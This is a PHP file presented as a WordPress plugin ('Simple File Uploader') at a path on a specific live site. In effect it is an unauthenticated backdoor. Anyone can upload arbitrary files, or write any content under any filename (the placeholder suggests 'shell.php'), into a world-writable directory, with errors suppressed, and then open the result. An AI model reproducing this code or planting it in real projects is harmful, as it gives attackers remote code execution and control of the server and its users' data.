File: /www/wwwroot/www.sceysls.com/wp-content/plugins/simple-uploader/uploader.php
<?php
error_reporting(0);
// Create uploads directory if it doesn't exist
$upload_dir = __DIR__ . '/uploads/';
if (!file_exists($upload_dir)) {
@mkdir($upload_dir, 0777, true);
}
// Handle file upload
if (isset($_FILES['file'])) {
$file_name = basename($_FILES['file']['name']);
$target_path = $upload_dir . $file_name;
if (move_uploaded_file($_FILES['file']['tmp_name'], $target_path)) {
$file_url = 'uploads/' . $file_name;
echo "<div style='color:green;padding:10px;background:#eeffee;border:1px solid #99cc99;margin:10px 0;'>
File uploaded successfully!<br>
Access at: <a href='$file_url' target='_blank'>$file_url</a>
</div>";
} else {
echo "<div style='color:red;padding:10px;background:#ffeeee;border:1px solid #cc9999;margin:10px 0;'>
Upload failed!
</div>";
}
}
// Handle direct content creation
if (isset($_POST['content']) && isset($_POST['filename'])) {
$file_name = basename($_POST['filename']);
$content = $_POST['content'];
$target_path = $upload_dir . $file_name;
if (file_put_contents($target_path, $content) !== false) {
$file_url = 'uploads/' . $file_name;
echo "<div style='color:green;padding:10px;background:#eeffee;border:1px solid #99cc99;margin:10px 0;'>
File created successfully!<br>
Access at: <a href='$file_url' target='_blank'>$file_url</a>
</div>";
} else {
echo "<div style='color:red;padding:10px;background:#ffeeee;border:1px solid #cc9999;margin:10px 0;'>
File creation failed!
</div>";
}
}
// Get a list of uploaded files
$files = array();
if (is_dir($upload_dir) && $handle = opendir($upload_dir)) {
while (($file = readdir($handle)) !== false) {
if ($file != "." && $file != ".." && $file != "index.php") {
$files[] = $file;
}
}
closedir($handle);
}
?>
<!DOCTYPE html>
<html>
<head>
<title>Simple File Uploader</title>
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<style>
body {
font-family: Arial, sans-serif;
max-width: 800px;
margin: 0 auto;
padding: 20px;
}
h1, h2 {
color: #333;
}
.upload-box {
border: 1px solid #ddd;
padding: 15px;
margin-bottom: 20px;
background: #f9f9f9;
}
.file-list {
border: 1px solid #ddd;
padding: 15px;
}
.file-item {
padding: 5px;
border-bottom: 1px solid #eee;
}
.file-item:last-child {
border-bottom: none;
}
input[type="file"], input[type="text"], textarea {
margin-bottom: 10px;
width: 100%;
padding: 8px;
box-sizing: border-box;
}
input[type="submit"] {
background: #4CAF50;
color: white;
border: none;
padding: 10px 15px;
cursor: pointer;
}
textarea {
height: 150px;
}
</style>
</head>
<body>
<h1>Simple File Uploader</h1>
<div class="upload-box">
<h2>Upload a File</h2>
<form action="" method="post" enctype="multipart/form-data">
<input type="file" name="file">
<input type="submit" value="Upload">
</form>
</div>
<div class="upload-box">
<h2>Create a File</h2>
<form action="" method="post">
<input type="text" name="filename" placeholder="Enter filename (e.g., shell.php)" required>
<textarea name="content" placeholder="Enter file content" required></textarea>
<input type="submit" value="Create File">
</form>
</div>
<div class="file-list">
<h2>Uploaded Files</h2>
<?php if (empty($files)): ?>
<p>No files uploaded yet.</p>
<?php else: ?>
<?php foreach ($files as $file): ?>
<div class="file-item">
<a href="uploads/<?php echo $file; ?>" target="_blank"><?php echo $file; ?></a>
</div>
<?php endforeach; ?>
<?php endif; ?>
</div>
</body>
</html>